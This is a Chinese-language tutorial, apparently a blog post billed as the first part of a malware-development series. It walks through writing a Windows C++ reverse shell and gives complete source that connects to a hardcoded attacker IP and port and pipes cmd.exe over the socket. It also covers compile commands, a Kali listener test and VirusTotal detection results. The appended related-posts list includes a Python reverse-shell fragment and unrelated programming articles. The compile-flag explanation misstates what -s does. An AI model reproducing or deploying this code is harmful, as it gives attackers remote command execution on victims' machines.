什么是Reverse Shell?

反向 Shell(Reverse Shell)是指远程攻击者在攻击成功后,通过建立一个反向连接,让受害者的机器连接到攻击者的机器上,从而达到控制受害者机器的目的。通常情况下,攻击者需要在受害者机器上植入一个恶意程序,使得该程序能够在后续与攻击者机器建立连接并接受攻击者的指令。反向 Shell 通常被用于在目标机器上执行命令、获取敏感数据、植入其他恶意程序等操作。攻击者可以通过反向 Shell 轻松地远程控制目标机器,而不需要经过复杂的端口转发等操作。

C++编写Reverse Shell

(1)通过调用WSAStartup初始化套接字库

(2)创建socket

(3)连接攻击者主机的socket

(4)反弹命令行

初始化socket

// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);

创建socket

// 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,); hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);

连接攻击者主机的socket

// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

反弹命令行

// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

完整代码

#include <winsock2.h>		// 通过包含winsock来使用Winsock API
#include <stdio.h>
#pragma comment(lib, "ws2_32") WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi; int main(int argc, char* argv[]){
// 设置攻击者IP和port
char *ip = (char*)"172.18.53.19";
short port = 4444; // WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData); // 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,); hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip); // 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock; // 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

代码测试

这里使用kali(172.18.53.19)作为攻击者,Windows10物理机作为被攻击者,首先对代码进行编译:

g++ shell.cpp -o shell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

参数解释:

shell.cpp:要编译的源代码文件。
-o shell.exe:指定输出的可执行文件名为 shell.exe。
-lws2_32:连接 WinSock2 库,这是一个 Windows 下的网络编程库。
-s:在输出文件中包含符号表和调试信息,以便在调试程序时使用。
-ffunction-sections 和 -fdata-sections:告诉编译器将每个函数和变量放在不同的节(section)中。这样做可以使得链接器只链接实际使用的代码和数据,而忽略未使用的代码和数据,从而减小可执行文件的大小。
-Wno-write-strings:忽略对字符串常量的写操作,避免编译器报出相关的警告。
-fno-exceptions:禁用 C++ 异常处理机制。
-fmerge-all-constants:将所有常量合并到一个单独的节中。
-static-libstdc++ 和 -static-libgcc:告诉编译器链接静态版的标准 C++ 库和 GCC 运行时库。
-fpermissive:容错模式,允许一些不符合标准的代码通过编译。



接着,在kali上起监听:



在Windows主机上运行shell.exe,在kali上发现shell已经反弹回来了:



将编译完的shell.exe上传至virustotal,可以发现68个AV引擎中,有8个将文件检测为恶意软件:

恶意软件开发(一)Reverse Shell的更多相关文章

  1. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  2. Simple python reverse shell

    import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...

  3. 安卓开发,adb shell 调试sqlite3数据库

    安卓开发,adb shell 调试sqlite3数据库 在安卓中创建了sqlite3数据库,想要调试怎么办? 通过adb shell来进行查看. 第一步,将adb加入到系统变量中. 这样就可以在命令行 ...

  4. Reverse Shell Cheat Sheet

    Reverse Shell Cheat Sheet If you're lucky enough to find a command execution vulnerability during a ...

  5. 常见语言反弹shell reverse shell

    本文来自:https://www.hacking.land/2019/03/reverse-shell-cheat-sheet.html?m=1 前言 If you're lucky enough t ...

  6. 让你提前知道软件开发(22):shell脚本文件操作

    文章1部分 再了解C语言 shell脚本中的文件操作 [文章摘要] 编写shell脚本时,经常会涉及到对文件的操作,比方从文件里读取一行数据.向文件追加一行数据等. 完毕文件读写操作的方法有非常多,了 ...

  7. Android开发——使用ADB Shell命令实现模拟点击(支付宝自动转账实现)

    首先声明,本人反对一切利用技术的违法行为 本文的实现代码已经销毁,本文以介绍流程为主 1.这里所说的模拟点击不是在自己的APP里点击,点自己APP上的控件没什么好说的 不仅是支付宝转账,其他的获取别人 ...

  8. 日常开发中的shell小技巧

    工具推荐 命令行中很方便的代码统计工具---cloc 强大的分屏工具---tmux 最舒服的markdown书写工具---typora markdown图床推荐--七牛云 模拟生成熵(避免暴力手搓键盘 ...

  9. iOS开发进阶 - 使用shell脚本自动打包上传到fir.im上-b

    用fir.im测试已经好长时间了,感觉每次打包上传都很麻烦,想着是不是可以用脚本自动打包,在网上搜了一下确实有,下面总结一下如何使用脚本自动打包上传到fir.im,以及打包过程中遇到的问题和解决办法 ...

  10. ARM开发板链接shell

    1.用网线插入开发板(最好链接路由器) 2.启动开发板(可以用U盘启动) 执行 #run bootusb 3.联网 #ifconfig eth0 up #udhcpc或者#dhclient wan # ...

随机推荐

  1. MySQL执行函数时报错:Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8mb4_0900_ai_ci,IMPLICIT) for operation 'find_in_set'

    执行函数时报错: Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8mb4_0900_ai_ci,IMPLICIT) f ...

  2. CF1826D Running Miles

    题目链接 题解 知识点:贪心,前缀和,枚举. 首先考虑一个贪心结论,选择区间端点一定是两个最大值,因此 \(i_1 = l,i_3 = r\) . 考虑变形式子 \((b_l + l) + b_{i_ ...

  3. .NET周刊【2月第2期 2024-02-11】

    国内文章 C#/.NET该如何自学入门? https://www.cnblogs.com/Can-daydayup/p/18006914 随着DotNetGuide技术社区交流群的扩大,很多新成员希望 ...

  4. 金融机构的反洗钱(AML)合规工作和系统建设

    声明 个人原创, 转载需注明来源 https://www.cnblogs.com/milton/p/16252061.html 反洗钱 AML 从国家机器的角度, 集体非法活动, 无论是金融还是非金融 ...

  5. Java中的Try with Resources语句介绍

    1.介绍 从Java7诞生了try-with-resources,这家伙可以在资源使用完后实现自动关闭回收.想想我们之前打开一个文件或流对象用完咋整的,是不是finally语句块中手动close的. ...

  6. 前端树形Tree数据结构使用-🤸🏻‍♂️各种姿势总结

    01.树形结构数据 前端开发中会经常用到树形结构数据,如多级菜单.商品的多级分类等.数据库的设计和存储都是扁平结构,就会用到各种Tree树结构的转换操作,本文就尝试全面总结一下. 如下示例数据,关键字 ...

  7. Navicat 12连接mysql8.x报错2059 - authentication plugin 'caching_sha2_password' 解决办法

    // %表示远程连接允许所有ip,如果只是连接本地,将%改为localhost即可 ALTER USER 'root'@'%' IDENTIFIED BY '你自己的mysql的密码' PASSWOR ...

  8. linux下安装nginx(yum源安装)

    备份yum源 cd /etc/yum.repos.d mkdir repo_bak mv *.repo repo_bak/ 下载阿里云repo文件 wget -O /etc/yum.repos.d/C ...

  9. portainer docker可视化工具

    下载可视化工具 docker pull portainer/portainer 启动portainer --restart=always 只要挂掉了 就自动重启 docker run -d -p 80 ...

  10. K6 在 Nebula Graph 上的压测实践

    背景 对于数据库来说,性能测试是一个非常频繁的事情.优化查询引擎的规则,调整存储引擎的参数等,都需要通过性能测试,查看系统在不同场景下的影响. 即便是同样的代码,同样的参数配置,在不同的机器资源配置, ...